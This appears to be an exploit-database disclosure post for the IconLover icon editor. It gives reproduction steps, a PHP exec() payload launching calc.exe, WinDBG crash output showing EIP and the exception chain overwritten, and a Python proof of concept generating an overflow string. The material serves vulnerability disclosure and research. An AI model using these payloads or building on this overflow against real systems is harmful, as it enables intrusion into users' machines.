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IconLover - Remote Code Execution / Stack Buffer Overflow Vulnerabilities
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Title Exploit : IconLover - Remote Code Execution / Stack Buffer Overflow Vulnerabilities
Author : ZwX
Software Vendor : http://www.aha-soft.com/
Software Link: http://www.aha-soft.com/iconlover/index.htm
Tested on: Windows 7
site : http://zwx.fr/
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Description Vulnerability :
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A vulnerability in Input Address does not filter the type of PHP code that allowed me to Execute the Calculator.
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Steps to Produce the Remote Code Execution :
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1. Run IconLover.exe
2. Click File -> New Icon Lybrary
3. Click Lybrary -> Download
4. Paste the website address with a php file in input address
5. Click ok and Hide
6. Php code executed successfully
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Code Exploit php :
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<?php
exec('C:\WINDOWS\system32\calc.exe');
echo '"exec" test completed';
echo 'By ZwX';
?>
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Steps to Produce the Crash :
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1. Copy the AAAA...string from bof.txt to clipboard
2. Run IconLover.exe
3. Click File -> New Icon Lybrary
4. Click Lybrary -> Download
5. Paste it the input Website Adress AAAA....string click ok and Hide
6. Software will Crash
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Crash Analysis using WinDBG :
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Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=76db72cd esi=00000000 edi=00000000
eip=41414141 esp=0012f048 ebp=0012f068 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
0:000> !exchain
0012f05c: ntdll!RtlRaiseStatus+c8 (76db72cd)
0012fa88: 41414141
Invalid exception stack at 41414141
0:000> d 0012fa88
0012fa88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fa98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012faa8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fab8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fac8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fad8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fae8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012faf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
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Proof Of Concept :
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buffer = "\x41"*10000
file = open("bof.txt","w")
file.write(buffer)
file.close()
print "File Created"
print " Contact msk4@live.fr"
# 0day.today [2025-01-06] #